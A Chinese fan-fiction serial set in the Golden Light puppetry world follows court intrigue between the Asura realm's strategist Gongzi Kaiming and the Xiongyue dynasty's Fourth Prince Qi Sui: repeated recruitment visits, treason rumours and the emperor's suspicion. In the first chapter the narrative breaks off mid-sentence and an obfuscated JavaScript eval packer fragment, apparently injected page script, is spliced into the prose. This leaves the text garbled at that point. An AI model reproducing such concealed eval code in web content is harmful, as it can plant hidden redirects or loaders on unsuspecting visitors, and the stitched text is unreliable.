《【金光布袋戏】修罗诀(魔世线)》 1. 开局(1) 【1】 公子开明选择在木鸢上和麒岁见面。 他抓着麒岁的胳膊跳到木鸢上时,海面忽地刮过一阵风,席卷着血色的云雾,将对方黑色的兜帽从头上吹落下来,露出了一张面色有些苍白的脸。 麒岁生了一头白色的长发,发中夹杂着几似翡翠一般的绿色,衬着一双碧绿的眼睛。脖子上一条银色的龙形项圈,在蓝月的照耀下,闪着水一样的光泽。 麒岁被带上木鸢,身子歪了两下,站稳后,才笑着对公子开明道,“策君,好久不见。” 公子开明后退了两步,歪歪头,纠正他道,“其实也没有很久,四皇子两个月前才刚刚找过我。” “唉!”听公子开明这样说,麒岁有些浮夸地叹了口气,摇了摇头,“十三次了,策君。刘玄德找诸葛孔明才只三顾茅庐,我找你却找了十三次。” “你找我三百三十三次也没用。”公子开明看起来毫不动容,“我是修罗国度的魔,永远都是。” “那策君还愿意见我。” “我不见你,难道让你和第一次一样,在关外站三天三夜哦!”公子开明一听这句话,简直气不打一出来,“凶岳疆朝四皇子在修罗国度边境饿得奄奄一息,先不说守军看到会怎么想,消息若是传到两国国君那里,我看你是嫌战争来得太慢了!” 麒岁摸着鼻子,“哈哈”笑了两声,笑完了,又接着又唤他,“策君。” “好了,多余的话免说,”大概是已经猜到麒岁要说些什么,公子开明直接打断了他的话,“无论你来找我多少次,我的回答都是那一句。” “一点话都不听吗?”麒岁还想坚持一下。 公子开明堵住耳朵,“不听不听,和尚念经。” 麒岁上前一步,似乎是斟酌了一下,而后又开口,“策君,听说你们新任的帝尊,是个人族。” “人族又怎样,”公子开明把手放下来,向他强调道,“人族也很聪明,史艳文,俏如来他们都很聪明,你也是见过的,你不能搞种族歧视。” “可人族终究是人族,力量弱小,寿命短暂。纵使他有通天的本领,百年之后也会归于尘土。” 顿了一下,麒岁又道,“况且,据我了解,那名人族的观念与你相悖吧?” “什么什么,什么观念?”公子开明和他装傻。 “他要一统魔世,要战争,要扩张。”麒岁看向凶岳疆朝的方向,缓声说道,“而我不一样,你很了解我的志向,虽然我也想一统魔世,但我的目标是太平,我想要结束这种分裂的局面。待我统一魔世后,我不会踏足别的疆域一步。” 他一边说,一边把目光挪回了公子开明身上: “而和平,不就是策君你想要的吗?” 公子开明与他对视,血色的云雾在两人周身翻滚,蓝月的光芒如水倾泻,撒下一地碎银。 过了许久,公子开明问他:“你和一个修罗国度的魔谈和平?” 闻言,麒岁低头“哈哈”笑起来,他大概明白公子开明话中的意思了,笑了片刻,有些惋惜地道,“看来我要来第十四次了。” “还是别来了吧。”公子开明挥了挥手,“我把你送到关外,你自己下车,我得飞回去,不能让守军看到我与你见面。” “你们帝尊有在军队里安排监视你的人?”麒岁抓住了重点。 公子开明哼哼了两声,“少挑拨离间,本策君不吃这一套。” “哈,随口一问而已,策君多心了。” 木鸢又向前飞了一会儿,眼见就要到分手之地了,麒岁又开口: “策君,其实,你该盼望我最终会成为凶岳疆朝的疆主。” 公子开明意识到他话里有话,“咦?除了你,现在还有谁有实力和你争夺疆主?” “虽然现在我大权在握,可毕竟父皇还在,而且我还有个蠢得要死的六弟……”说到这儿,麒岁皱了皱眉头,似乎对此人十分厌恶,“我六弟你是知道的,若是他当上疆主,魔世将永无安宁之日。” 公子开明闭上眼睛想了一下,而后道,“那就把他杀掉啊,你们家弑亲又不是一次两次了。” “哈哈,策君话里有刺。” “你——期待一个修罗国度的魔对凶岳疆朝皇子会有好话说?”公子开明特意把“修罗国度”四个字咬得很重。 “不用特意强调你是修罗国度的魔了。”麒岁摇了摇头,往前看了一眼,道,“策君好生休息,想一想我的话,说不定下次我来时就改变主意了。” 公子开明“呵呵”笑了一声,略带威胁地道,“你独自来沉沦海找我,也不怕本策君直接把你扣下。” “哈,策君不会的。”麒岁笑了一声,“修罗国度目前还在休养生息,开战的话对你们不利。” 公子开明歪了歪头道,“这个不利是真是假,四皇子也要辨别一下才是。” “策君这话说的,倒真让我有些云里雾里了。” 麒岁说完这句话后,忽然朝公子开明“咻”地扔出一个东西。 公子开明没接,那东西就落在了他脚下,他低头看去,发现是块绿色的龙形翡翠。 “干嘛?”公子开明依旧未捡,“贿赂本策君啊?” 麒岁笑了一声,“你就当是贿赂你吧。” “我可不要。”公子开明忙往后退了好几步,像是要躲开那块翡翠。 “拿着这块翡翠,你可以去离沉沦海最近的北鹿岭找我。”麒岁向他说明。 “那你更不用给我了,”公子开明挥挥手,“我用不着。” “用不用得着,岂是一时就能明确的,况且,这翡翠的持有者可以跨过边境来到凶岳疆朝,有朝一日总能用上的。”麒岁缓步走过来,从地上捡起翡翠,拿过公子开明的手,放到了他的手心里,“收下吧,就当作本皇子的一点诚意。” “你说到诚意我可就不困咯。”公子开明晃了晃脑袋说道,“把凶犁魔都的城门打开,让我们家帝尊打过去,就是最大的诚意了。” “哈哈。”麒岁笑了两声,“策君真会开玩笑。” 顿了一下,又道,“不过,我倒是很欢迎策君来凶犁魔都做客。” 说完,不等公子开明回话,他便起手向前方挥出一道绿光,绿光映照到他身上时,他就闪进了那道绿光之中,不见踪影了。 公子开明盯着那绿光消失的方向看了许久,确定那夭寿老四离开了以后,才低声喃喃自语,“总算走了……但愿以后别来了……” 公子开明收好麒岁给他的翡翠,调转木鸢,朝沉沦海上的堡垒飞过去了。 他和曼邪音常年镇守的关门叫招摇关,此处在九个关门的最中间,同时离修罗魔都也最近,若魔都生事,他可以第一时间赶回去支援。 “他和我说六皇子的事情是什么意思呢?”公子开明一边飞一边自言自语,他可不认为麒岁和他说起六皇子的事是心血来潮,他一定是有目的的,可他的目的是什么?他要和他透露什么信息? “凶岳疆朝内部不稳定,他本不该让我知道,可他却特意来告知我,是想要让我产生什么误会?产生什么误会呢……” 他一边自言自语着,一边向远处飞去了…… —— 修罗王宫。 戮世摩罗正和网中人一起研究着魔世地形图,忽听门外魔兵喊道,“帝尊,有来自沉沦海的魔兵求见。” 戮世摩罗拿着地图的手顿了一下,“进来吧。”他说道。 过了不一会儿,门外走进来了一个魔兵,那魔兵径直走到戮世摩罗身前,先是行了一礼,而后低声道,“帝尊,是来自沉沦海的消息。” 戮世摩罗点了点头,“你说。” 魔兵往前挪了挪身子,压低了声音道,“属下一个月前离开沉沦海时,凶岳疆朝的人刚刚来找过策君。” 戮世摩罗闻言皱了皱眉头,似是对这个消息有所不满一般,又接着问他,“知道那凶岳疆朝之人的身份吗?” 魔兵摇了摇头,“不知道,但身份应该不低。” 戮世摩罗转头看向网中人,两人对视了一眼。 “我知道了。”戮世摩罗朝那魔兵挥了挥手,“你下去吧,回沉沦海后小心,不要被策君发现。” “属下知道了。” 待到魔兵离开后,戮世摩罗看着手中的地图,左翻一下,右翻一下,最后缓缓开口,问网中人,“妖神将,沉沦海有这么好玩吗?连凶岳疆朝的魔都忍不住过来玩?” 网中人懒得听他拐弯抹角,“你有话直说。” 戮世摩罗似是没听到妖神将的警告,继续不紧不慢地道,“你说这个凶岳疆朝的人做事也太不小心了,每次来找策君都被发现,这已经是第五次了吧?应该不止。” 网中人想了想,问道,“你的意思是,他是故意被我们发现的?” “嗯。当然,也有可能他真的功夫很烂,藏不好自己。”戮世摩罗把手中的地图放下,转头看向网中人,“不过,无论是哪种可能,凶岳疆朝的人也有点过分了,这么打扰我们策君,工作出岔子怎么办?” 网中人没说话,似是在等他的下一句。 戮世摩罗见他不语,便继续道,“看来这趟沉沦海,无论如何我都得走一趟了。” 网中人点了点头,似是心领神会了一般,缓缓站起身,“我去找七先锋,让他们守好阵地。” 先前七先锋接连殒命人世,公子开明解决完元邪皇的事情后,和闼婆尊一起重建了七先锋,也算是为修罗国度恢复了一点战力。 网中人还没往外走,戮世摩罗忽然叫住了他,“等下。” 网中人回头看他。 “……”戮世摩罗又盯着手中的地图看了片刻,忽然问道,“妖神将,你知道对面那只老龙有几个皇子吗?” 网中人回答得十分干脆,“我忘了。” “唉!”戮世摩罗叹了口气,“真不好意思,是我忘了!” 网中人问他,“帝尊忘了什么?” “忘了妖神将记性不好这件事,是我不礼貌了。”戮世摩罗一边说着,一边放下地图,招呼了一下旁边的魔兵: “把魑琉心叫上来。” 那魔兵喊了一声“是”,就跑出去了,过了片刻,门外大步走进来了一位白发红瞳的女魔。 魑琉心本是曼邪音在沉沦海驻守时顺手收的一个徒弟,后发现她魔力低微,也没什么武学天赋,只有脑子比较好使些,便送她来修罗魔都管理宫中的书籍杂卷,封官掌书。 魑琉心走到戮世摩罗面前,询问道,“帝尊找我有事?” “嗯。”戮世摩罗点点头,“你管理宫中典籍,有些凶岳疆朝的事情想要问问你。”他一边说着,一边又低头看向手里的地图,“你知道老龙家有几个皇子吗?” 魑琉心略微回忆了一下,而后回答道,“十一位,七死三伤,其中大皇子、四皇子、六皇子为瑶后所生,其余皇子为后妃所生。还有两位郡主,皆为来自幽都之国的玄姜公主玄妃所生。现如今大皇子已身殒,应龙师又因元邪皇之乱受到重创,目前管理凶岳疆朝大局的,是四皇子麒岁。” 这个戮世摩罗倒是清楚,“那个六皇子活下来了吗?”他询问道。 “六皇子还活着,先前他也受了重伤,这些年应该是恢复了不少。”魑琉心告诉他。 “那两位郡主皆是幽都国公主所出?”戮世摩罗问她。 “是。”魑琉心点点头,“北方的幽都国公主玄姜,曾经也是胜弦主的好友,多年来一直都没有诞下皇子,所出的两位女儿皆封为郡主。姐姐一出生就在战争中失落了。妹妹生来是邪火体制,从小就只能待在羽瑞寒魄宫中不能离开半步,不然就会邪火燃体而死。” “哇。”戮世摩罗感叹道,“这个玄姜公主也太惨了。” “所以,”魑琉心继续道,“凶岳疆朝目前的情况就是,应龙师虽还是疆主,但大权已经握在四皇子手里了。” 戮世摩罗盯着前面的地板看了一会儿,有些试探地问道,“老龙就真的甘心被他家老四架空?” “他不甘心也无济于事。”魑琉心回道,“元邪皇一战,应龙师元气大伤。而且在凶岳疆朝之中,四皇子的民心也早已超过应龙师,四皇子一夺权,无论是朝中还是民间,肯定都会支持他。” “哦?这个四皇子还挺有威信?”戮世摩罗好似是听到了什么很有趣的事情。 “先前每次应龙师外出征战,都是四皇子为他坐镇后方,安抚民心,平定祸乱。”魑琉心回答,“而且,这位四皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凤璇音常年独自一人待在这孤寂寒冷的地方,想想也着实可怜,所以麒岁经过凤鸣山时,总会来羽瑞寒魄宫中,陪他这孤独的小妹聊聊天。 但今日,似乎有人比他提前到来了。 麒岁刚一走到宫里的院中,就看到梧桐树下站着两个身影—— 其中一个,自然是他的小妹凤璇音。火凤郡主容貌娇艳,黑红相间的衣裙上点缀了金色的凤纹,凤钗点缀在黑发间,金光闪闪,十分耀眼。 而另外一位…… 浅灰色的发,深蓝色的长袍,手里拿着一柄装模作样的蓝色折扇,正是他的六弟,六皇子麒染。 麒岁一看到麒染,眉头就皱了起来。而对面的麒染与他也是同样的反应。 倒是凤璇音,一看到麒岁,就开心地扑上来,一头撞到麒岁的怀里,“四哥!你来看我啦!” 麒岁笑着点点头,摸了摸妹妹的头发,“怕小妹在羽瑞宫无聊,刚好我从沉沦海过来,顺便来看看你。” 话说完,树下的麒染便用阴阳怪气地语调说道,“哦?四哥没事去沉沦海做什么?” 麒岁的眼神一挪到麒染身上,就变得异常冰冷,他冷哼一声,不屑道,“我去做什么,还需要向六弟报告吗?” “哈,那怎么敢。”麒染摇着扇子走到麒岁旁边,斜瞥了他一眼,“只是沉沦海那里不是有修罗国度的策君和三尊把守吗?四哥是去找他们喝茶了吗?” “那也得有茶喝才行。”麒岁冷冷地道,“你看修罗国度的人会像是请我喝茶的样子?” “哼,”麒染冷哼一声,上下打量了一下麒岁,像是要从他身上找出线索,“我劝你还是小心些,鬼鬼祟祟,也不知道是不是通敌叛国,说不定已经被人发现了!” 一旁的凤璇音看看四哥,又看看六哥,见两人马上就要吵起来,急忙拉住麒岁的袖子道,“对啦四哥,我托你去沉沦海带的海魂珠,你带回来了吗?” 听凤璇音这么一说,麒岁才想起来,他去沉沦海的路上路过此地,凤璇音确实有托他带海魂珠来着,但被他忘记了…… 他这个妹妹,就喜欢各种各样漂亮的东西,宫殿要建的漂亮,衣服要穿的漂亮,饰品要做得漂亮,连宫里的侍女都要挑漂亮的。 先前她听说沉沦海边疆一带有一种海魂蚌,海魂蚌的珍珠紫蓝渐变,绮丽异常,所以托麒岁捎来一颗给她,结果…… 见麒岁不说话,麒染冷哼一声,“你四哥怕是忘了吧!” “啊?”闻言,凤璇音的眉毛立刻耷拉下来,“四哥,你忘啦……” 麒岁忙向妹妹道歉,“抱歉,凤妹,下次若再去沉沦海,我一定想着给你带一颗……” “哼,下次,你准备去沉沦海几次?”麒染将折扇“啪”地一声收起,“你干脆直接去修罗国度投降得了,也不用天天跑沉沦海了。” 说完,他转头对凤璇音道,“凤妹,我去沉沦海帮你取吧。”他话里有话地道,“我去那地方,也没有其他事要做,能比你四哥快一些。” “好啊。”凤璇音点点头,似乎丝毫没有感受到两位哥哥之间浓烈的火药味,“那就麻烦六哥啦!” 她一边说着,一边递给麒染一个点缀着各种珍珠宝石的浅红色珊瑚盒,“六哥,你拿到海魂珠,记得放到这个盒子里哦!” “没问题,我办事可比你四哥靠谱多了。” 麒染说完,朝麒岁翻了个白眼,转身朝宫外走去了。 待麒染走后,麒岁转头看向凤璇音。 凤璇音指了指自己头上的凤凰钗子,“前些日子母后托人送来的,好看吗?” 麒岁笑着点点头,“好看。” 顿了顿,他拉起凤璇音的手,语重心长地道:“凤妹,你虽然不说,可我知道一直被困于一隅的滋味有多难受。你放心,母后一直在找寻压制邪火的方法,相信不过多久,你就可以离开这座宫殿了。” 凤璇音看着麒岁笑了笑,像是没听懂他在说什么一样,“四哥,你别皱眉头啦,都不好看了。” 麒岁怔了一下,随即笑着点点头: “嗯,四哥听话,不皱眉头了。” —未完待续— 2. 开局(2) 【2】 公子开明坐在桌前,借着烛光看着卷宗。看了没一会儿,忽然听到有人带着一阵疾风匆匆忙忙地走进来了,连带着烛光也跟着摇曳了好几下。 公子开明听见声音,抬起头来,接着就见曼邪音停在了桌前,眉眼间略有一丝忧虑。 见她这副神情,公子开明急忙起身询问,“曼邪音?怎么了?” “……我本想自己处理,不用来劳烦你,但事情已经越来越严重了。”曼邪音紧锁眉头,语气沉重地道: “最近边关很多扰乱民心的的流言。” “流言?” 公子开明微微皱了皱眉头,思索片刻,询问:“流言严重到什么程度?” 曼邪音没想到策君竟然没有问她流言的内容,犹豫了一下,回答道,“随便走到路边一个酒馆,都能听到酒客在议论。” 公子开明歪着身子低下头,手指在桌上的卷宗上点了两下,而后又将目光挪回曼邪音的身上。 “你先派几个魔兵,扮成平民的样子,打探一下这些流言都是从哪里听来的。” “我打探过了。”曼邪音回道,“但基本都是互相流传,至今未查出源头。” “光靠询问肯定是不行的啦。”公子开明摇了摇头,“罪者重刑,允许自辩,下发赏金,举报有赏,他们很快就会互相告发的。” 随后,他又有些苦恼地敲了敲自己的额头,“唉唉唉!如果是凶岳疆朝的鬼把戏,倒还好解决,就怕是自家人出现问题,那可比外敌难对付多了。” 曼邪音似乎对公子开明这句话有些想法,在原地站了许久后,才缓缓道了一句道,“策君,你不想知道流言的内容是什么吗?” 公子开明此时已经重新坐下了,卷宗拿在手里,眼神又向上抬去,“内容是什么很重要吗?” “策君在回避?” “没有啦!”公子开明晃了晃脑袋,“闼婆尊,你既然想要说的话,那就说吧。” 曼邪音直视着他的眼睛,半带试探地开口道,“策君是这种反应,想必不用我说,也已经猜到了。” “嗯嗯嗯……”公子开明决定先装一波傻,“如果是因为胜弦主和阿飘与我关系……” “不是闇盟。” 公子开明话未说完,曼邪音就打断了他。 屋里的声音因为曼邪音的打断,忽地安静了下来。来自沉沦海之上的海风呼啦呼啦吹着窗纸,阴风阵阵,席卷血雾,将屋内的烛光都染成血红一片。 “是凶岳疆朝。” …… “哎呀呀呀!”公子开明很是委屈地扶了扶脑袋,仿佛受到了天大的冤枉: “这些人啊……先是怀疑我叛去闇盟,又是怀疑我叛去凶岳疆朝,反正不是修罗国度的就对了。” 说着,他抬起头看曼邪音,“要不修罗国度直接闭关锁国吧你看怎样?” 曼邪音解释道,“我不是这个意思。” “我当然知道你不是这个意思!”公子开明扬起头,忽然的大声把曼邪音惊了一下,“但是散布这个谣言的人一定有这个意思!” “散布谣言的这个人?”曼邪音注意到了重点,“策君有眉目?” 公子开明的声音像是在申冤,“既然是关于我要叛国的流言,有一个人一定脱不了关系!” 曼邪音很快就接上他的话,“你是说凶岳疆朝的老四吗?” “啥?!” 曼邪音此话一出,吓了公子开明一跳,像是听到沉沦海发生了海啸一般,身子往后一退了一大步,“你怎么知道?” 相比之下,曼邪音的表情倒是平静多了,“很意外吗?”她像是在讨论昨日的天气,“我看见过四皇子从你的木鸢上飞下来。” 公子开明微怔片刻,随即像是反应过来了什么一般,大声控诉道,“我知道了!他故意让人看见的!”他一边说着一边夸张地伸出双手,看起来像是要打人。 “是不是故意的,你都见他了,而且是单独见面。”曼邪音提醒他道,“单这一点,就够定你的罪名了。” 停顿了一下,曼邪音又询问道,“麒岁喜爱四处招揽高手这件事,倒也不是什么秘密。他三番五次来找你,难道是想要招揽你入他麾下?” 公子开明重重地叹了三声,扶着桌子缓缓起身,带着哭腔委屈地道,“对,没错,被你说中了,他就是来策反我的。” “哼!果然!”曼邪音露出了一副“我就知道”的表情: “这老四真是欺人太甚,主意都打到策君头上来了,真当我修罗国度无人了!” “对!没错!就是这样,欺人太甚!”公子开明对曼邪音的评价表示一万个同意,“我要是不见他,他就一直在边境等着,他第一次来的时候站了三天三夜,第二次来的时候站了五天五夜!你说我该怎么办,你说我能怎么办?” 公子开明的声音越来越高,曼邪音忍不住捂住了离他近的那只耳朵。 “那就让他站在那里。”曼邪音回道,“饿死他便是。他堂堂四皇子,还需要你策君亲自去哄着他吗?” “没错,曼邪音,你这个‘哄’字用得相当精准。”公子开明忍不住给曼邪音竖了个大拇指,“他每次都是这样,来了,见我一面,目的没有达成,那就下次再来,他知道我不会杀他,也不会扣留他,所以——” 公子开明忽然抬头,对着天花板大声喊道,“无——法——无——天——” “……”曼邪音再次默默地捂住了耳朵。 “那……策君为何不杀他?” “曼邪音啊,冷静冷静冷静~”公子开明拍了拍曼邪音的肩膀,“修罗国度现在的战力你也知道,一时半会儿是开不了大战的。我甚至怀疑这只老四是专门来挑起战争的……” “要打便打,修罗国度可不畏战。”曼邪音直接打断了他的话。 “我就知道我就知道我就知道你要这样说!”公子开明后退了一步,“我知道你们很英勇,不怕死,可是就算死也要死得有意义,不能白死对不对?” 曼邪音“哼”了一声,不再反驳了。 过了一会儿,她又道,“不过,我还是要提醒你,若是流言再继续扩大,你可不好收场。” 公子开明一手捂着脸,另只手朝曼邪音挥了挥说,“知道了知道了,你不用担心,我会处理。” 曼邪音似乎还是有些不放心,继续提醒他道,“你需要快些了。之前不是还收到传书,说帝尊半个月后抵达沉沦海?” 公子开明这才猛然想起,一周前他刚收到书信,说戮世摩罗已经从修罗魔都出发,往沉沦海这边来了。 当时公子开明还纳闷帝尊忽然来沉沦海做什么,现在看来,应该有一部分原因也是为了这件事情。 “你该先想想怎么和帝尊解释,还有,”曼邪音沉着声音道,“沉沦海与魔都相隔甚远,帝尊是怎么得到消息的?” 公子开明嘟囔着辩解道,“帝尊也不一定是为流言之事而来的吧……” “那策君就祈祷最好不是吧。”曼邪音说完这句话,甩了一下袖子,道,“我先去处理流言的事了。” 说罢,她转身大步离开了。 公子开明看着曼邪音走出房间后,一巴掌拍在卷宗上,托着腮愁眉苦脸地自言自语,“麒岁啊麒岁,你真是把本策君害惨了!果然!果然!你们凶岳疆朝就没有一只好魔!气死咯……” —— 万卷归墟,是魔世中最大的藏书宫殿,此宫殿内藏有上千万本武学典籍,皆是应龙师的祖辈一代代自魔世各处搜罗而来,最后构建起了这座辉煌宏伟的万卷宫殿。 当麒岁走进万卷归墟,看到足能容下千人的广阔空间,以及自瓷砖地板至穹顶的百层书架时,不禁感慨祖辈们为了收集书籍,跑过了魔世多少地方…… 麒岁走进来时,看到正堂里的紫金绒座上,坐着一个人。 半黑半白的奇怪模样,瞳色血红,气质傲然,一手撑着脸颊,一手拿着一本武学典籍在看。 麒岁走进来时,他一动未动,头也不抬,仿佛没看见麒岁这个人一样。 麒岁清了清嗓子,恭恭敬敬地道,“南宫先生。” 黑白郎君虽听见了声音,但依旧未挪开眼神,“找吾有事?是准备把约战的日子提前吗?” 麒岁笑了一下,道,“那倒不是,与先生的约定岂敢擅自修改,只是先生自那日与我约战之后,就一直在万卷归墟中阅读武学典籍,所以我想来看望一下先生……” “黑白郎君能照顾好自己,”座上的人冷声道,“不需要你来费心。” 麒岁点点头,“南宫先生说的是,不过这里武学典籍众多,我今日来,也是想学习学习,提升一下自己。” 说罢,他定睛看了一眼黑白郎君手中的书: “南宫先生在看关于术法的书籍?” 黑白郎君“嗯?”了一声,似是不解他为何会问这么一句。 “哦,是这样,”麒岁忙解释道,“最近我也遇到了一些关于术法的问题,看到南宫先生在看相关的书籍,不知可否请教一下先生,为我解疑答惑?” 黑白郎君的身子一动也不动,只有眼神终于挪到麒岁身上了。 “那就要看你提出的问题值不值得南宫恨回答了。” 麒岁微欠着身子,很谦逊地道,“魔世有一种术法叫做「天魔佐印」,能够形成一种很强的结界,一般术士都破解不了。南宫先生这段时间在此博览群书,可有找到破解此招之法?” 黑白郎君“哼”了一声,问他,“这里的书,你可有全都看过?” 麒岁摇了摇头,“说来惭愧,我很少踏足这里。” 话音刚落,黑白郎君忽然拿起旁边的一本书,朝麒岁丢了过去。 麒岁慌忙接住,拿在手里一看,是一本《菩提残页》。 麒岁怔了一下,心想祖上真是什么乱七八糟的书都收集,连佛门的典籍都带回来了。 “里面有一招「弥勒缚妖魔」即可破解此招。”黑白郎君告诉他,语气极其轻描淡写。 这么容易就找到了?麒岁心下疑惑,忙翻开那书看了看,看了两行,有些失望地道,“南宫先生,此招并不是破解术法的招式。” “此招破坏力极强,学起来却并不费劲,且与「天魔佐印」属性相克。”黑白郎君直起身子,摇着扇子说道,“你看武学典籍只看表面,为破拳招就只看破拳招的招式,为破术法就只看破术法的招式,却没想到这一招棍法却与一招术法相生相克,轻易便能了这术法结界。” 短短几句话,却点醒了很多麒岁往日在习武上的困境。 麒岁闻言大喜,想再接着问几句,但看到黑白郎君的眼神已回到了书上,心想若自己再问,恐怕会打扰到先生,便感激地道,“原来如此,感谢南宫先生,受教了。” “希望你一个月后能让吾战得尽兴。”黑白郎君似是接受了他的道谢。 麒岁笑了笑,“那是自然。” 接下来,麒岁又在万卷归墟中翻阅了一会儿书籍,期间未曾打扰黑白郎君,过了一个时辰便出来了。 他刚一走出门,就看到在外面等他的祸雕,于是大步走上前去,笑着喊道,“祸雕!” 祸雕听见声音,急忙回身,接着露出一排白牙,“四殿下!” 祸雕生得人高马大,五大三粗,古铜色的皮肤上套着深棕的皮革,额头上生着一对翅膀,枯草一般的头发梳到脑后,扫在身后的两把大斧头上面,那便是他的武器。 麒岁两年前在边境遇到祸雕,那时候祸雕是个占山为王的山匪,被手下背叛追杀,走投无路逃进了麒岁的行宫,被麒岁所救。后来麒岁帮他报了仇,他便遣散山寨,跟着麒岁来了凶犁魔都,成为了他的贴身护卫。 麒岁走到祸雕身边,背着手叹道,“南宫先生真是武学旷世奇才啊。” 祸雕闻言,向他询问方才和黑白郎君都在里面说了什么,麒岁便把黑白郎君同他讲的话又向祸雕重复了一遍,祸雕听完了也连连点头。 随后他问,“那他能为殿下效力吗?” 麒岁无奈地摇了摇头,“南宫先生傲视群雄,绝不会屈居于谁的手下任人指挥的。” 祸雕想了想,点了点头,“也是,殿下门中的奇人异士众多,也不缺他一个。” “唉,像这样的奇人,倒也确实是缺的。”麒岁似有些惋惜地笑了一声,“因为过于独特,全天下再也找不到第二个。” 祸雕低着头想了想,忽又道,“我记得书里都说,太过优秀的人才,不能为自己效力的话,都要杀掉的。” 祸雕话音刚落,麒岁就笑着拿扇子拍了他额头一下,“你呀你呀。暂且不说现如今没人能动得了南宫先生。就算真能杀得了他,像南宫先生这种奇人,换作是你,你舍得杀他吗?” 祸雕闻言,有些不好意思地笑笑,抓了抓头发“我是个粗人,哪有殿下这样的见识。” “见识少不要紧,”麒岁指了指他身后的斧子,“斧子抡得快就行了,要不谁还能护住我的安全?” “嘿,”祸雕又露出了一排白牙,“说的也是……” —— 整理卷宗这件事情,是公子开明最不喜欢做的工作之一。 沉沦海边关条件艰苦,配给他的文官只有一个小书童绝犀。绝犀出身小族,身子弱,搬运卷宗这些事情确实有些难为他,公子开明便只好亲力亲为了。 “待这次帝尊来边关,本策君一定要向他讨几个文官过来。”公子开明一边将地上的卷宗拿起放到架子里,一边自言自语。 说完,他暗自思索了一下,想到其实整个修罗国度也没有几个文官,好战分子建立的国家,本就重武轻文,连他这个策君都必须得是个能打的。 还记得闼婆尊收的那个小徒弟魑琉心,那姑娘极其崇拜曼邪音,追她追了好多年,才求得曼邪音收她做徒弟。结果曼邪音教了她两天,发现魑琉心武学天赋很是一般,但脑力不错,过目不忘,便把她送去了魔都做掌书。 临别那日,魑琉心哭得像个泪人——一部分原因是她舍不得曼邪音,还有一部分原因大概是,没人愿意在修罗国度做纯文官。 “唉,其实大脑真的很重要特别重要有够重要,只不过历任帝尊脑子都不坏,才显得没那么重要。” 公子开明敲了敲自己的额头自言自语道,“但愿帝尊能把俏如来拐来魔世,本策君就不用那么累了。” 高一些的架子,公子开明够不到,绝犀的个子也矮小,他便搬了一把椅子站上去,让绝犀递书给他。 两只魔这样安安静静地工作了好长一阵 ,也不知过了多久,公子开明忽然意识到绝犀似乎很久没动静了,便没话找话地问,“绝犀你饿了吗?” 椅子下面忽然传来了不属于绝犀的声音,“饿了,我让他吃饭去了。” 听到了意料之外的声音,公子开明一惊,忙旋身从凳子上跳了下去,回身看向给他递书那人。 只见对面的人,一身宝石璀璨夺目,衣服帽子珠光宝气,如此浮夸的装扮,配上一头耀眼的金发,不是鬼飘伶是谁? 公子开明先是愣怔了两秒,接着就直接扑了上去,“阿飘!~” 鬼飘伶往后退了一步,躲 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“修罗国度的卷宗,与我无关。”鬼飘伶往后退了一步,“我可不想惹上麻烦。” “哪有什么麻烦,你认识的字不多,不会有麻烦。” “你这么说我就要打你了小明。” “哎呀别那么多话了赶紧帮我收拾吧。”公子开明的声音都有些抖了,“像刚才一样,我往架子上放,你负责递给我就好。” 鬼飘伶站在原地没有动。 公子开明见他不动,伸手放他眼前挥了挥,“阿飘?” 鬼飘伶盯着公子开明看了片刻,开口道,“我在来的路上,听到很多人在议论小明。” 公子开明的动作一下子僵住了。 但不等他说话,鬼飘伶又继续道,“其实四皇子……曾经也找过玄狐。” 公子开明听他这么说,忽然像是松了一口气一般,拍拍自己的心口道,“是啦,老龙家那只排第四的你也知道,就是个收集癖,听说哪里有厉害的人物都要去扎一头。” “嗯。”鬼飘伶说,“但是他只找了玄狐一次。” “哎?就一次啊?”公子开明歪歪头,故作讶异地说道。 “他找了小明几次?”鬼飘伶询问。 “这嘛……”公子开明转过身,似是思考了一下,而后道,“他找了我几次不重要,重要的是,阿飘,他找过你吗?” 鬼飘伶说,“他找不到我。” “你在刻意躲他?” “你希望他找到我吗?”鬼飘伶问道。 “当然不希望啦!”公子开明忽然提高了声音,好在鬼飘伶对他早有防备,提早往后退了一步,这才保住了自己的耳朵,“龙老四这么爱收集,就让他到处收集去,别把主意打到我们阿飘头上就好咯~” “是没打到我头上,”鬼飘伶指了指自己,而后又指向公子开明,“是打到你头上了,小明,不要转移话题。” “我哪有转移话题啦,我是在关心你。” 鬼飘伶大概是察觉出公子开明不想再继续这个话题了,便不再继续追问,转而问他,“听说你们帝尊要来沉沦海看你。” “咦?”公子开明有些疑惑,“你怎么知道的?” “闼婆尊告诉我的。” “哎?你和她关系有这么好?” “就是她放我进来的,”鬼飘伶指了指门外,“我说我来看看你,她说一个时辰后会请我离开,因为帝尊随时会来。” “嗯……确实是。”公子开明点点头, “算算日子,差不多也就是这两天了。” “他是俏如来的二弟?”鬼飘伶询问到,“你与他见过吗?” “没,”公子开明摇了摇头,“目前只闻大名,还未见其人。” 先前,网中人带着戮世摩罗和几名妖族回到魔世,曼邪音曾想出兵护送帝尊回修罗魔都,但被公子开明制止了。修罗国度的帝尊回归虽是好事,可一定程度上也会造成民心动荡,此时边防更是不能松懈,所以公子开明便一直在沉沦海按兵不动。 “那正好见一下面,联络一下感情,”鬼飘伶给出了建议,“别让他真的以为你要去帮龙老四。” “唉,阿飘,谢谢你的关心,”公子开明背着手叹了几口气,“不过我觉得帝尊此次来边关,应该不单纯是来找我的。” 他话说完,门外忽然慌慌张张地跑进来一个小兵,一边跑一边道,“策君!策君!沉沦海有异样!” “嗯?” 听见声音,公子开明忙转身,一步上前扶住了那跌跌撞撞的小兵,“沉沦海有异样?怎么了?” 小兵指了指门外,“瞭望塔上忽然出现了很多奇怪的鸟,策君快去看看吧!” 公子开明转头和鬼飘伶对视了一眼,而后放开小兵,大步冲出去了。 公子开明让小兵去通知曼邪音,让鬼飘伶守在城墙上,自己跑到海边去看。时值蓝月西落,海面和天空被染成一片玫瑰的颜色,海的远处有一座建了灯塔的小岛,公子开明眯着眼睛望了一下,发现那灯塔周围飞了很多闪着金色光芒的鸟。 想来那就是士兵所说异样了。 公子开明骑上木鸢,一路飞到了灯塔下面。 当他落地时,忽然发现那灯塔下居然站着一个人。 